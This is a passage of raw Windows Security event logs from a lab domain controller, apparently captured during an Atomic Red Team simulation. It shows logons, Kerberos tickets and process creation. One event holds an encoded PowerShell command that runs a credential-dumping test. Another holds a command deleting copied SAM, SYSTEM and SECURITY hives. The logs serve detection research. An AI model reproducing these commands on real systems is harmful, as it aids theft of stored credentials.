Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x57048D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xcf8 - New Process Name: C:\Windows\System32\HOSTNAME.EXE - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1348 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\HOSTNAME.EXE" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 10:48:24 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258104 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x57048D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1348 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa98 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "powershell.exe" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEMAbABlAGEAbgB1AHAA - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 10:48:24 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=258103 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x574157 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 10:48:24 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=258102 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x574157 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00D6810A-2734-CE80-3861-3A463340025F} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 10:48:24 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=258101 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {00D6810A-2734-CE80-3861-3A463340025F} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 10:48:24 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=258100 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {00D6810A-2734-CE80-3861-3A463340025F} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 10:48:24 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=258099 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 10:48:24 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258098 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x57048D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf04 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa24 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESC479.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSCF15F3DEDB853481D858B3F4A761EF1CF.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 10:48:24 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258097 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x57048D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa24 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa98 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\s1peraoc.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 10:48:25 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258112 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x57048D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc2c - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1348 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" & {} - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 10:48:25 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258111 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x57048D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x110c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1348 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\cmd.exe" /c "del" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 10:48:25 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258110 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x57048D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa08 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1348 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\cmd.exe" /c "" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 10:48:25 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258109 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x57048D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf3c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1348 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\cmd.exe" /c "del %temp%\sam >nul 2> nul & del %temp%\system >nul 2> nul & del %temp%\security >nul 2> nul" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 10:48:25 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258108 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x57048D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1330 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x50c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESC841.tmp" "c:\Users\Administrator\AppData\Local\Temp\e244sufx\CSC7C1C5E358814488FB42F9E9A7257837.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 10:48:25 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258107 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x57048D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x50c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1348 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\e244sufx\e244sufx.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 10:48:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=258129 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x579153 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 10:48:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=258128 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x57048D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 10:48:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=258127 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x570E33 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 10:48:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=258126 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x579153 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 10:48:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=258125 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x579153 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {340486D4-536D-DCF9-E6F4-9F3FBAC11908} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 10:48:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=258124 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {340486D4-536D-DCF9-E6F4-9F3FBAC11908} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 10:48:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=258123 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {340486D4-536D-DCF9-E6F4-9F3FBAC11908} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 10:48:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=258122 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 10:48:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=258121 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x57910B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 10:48:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=258120 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x57910B - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 10:48:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information 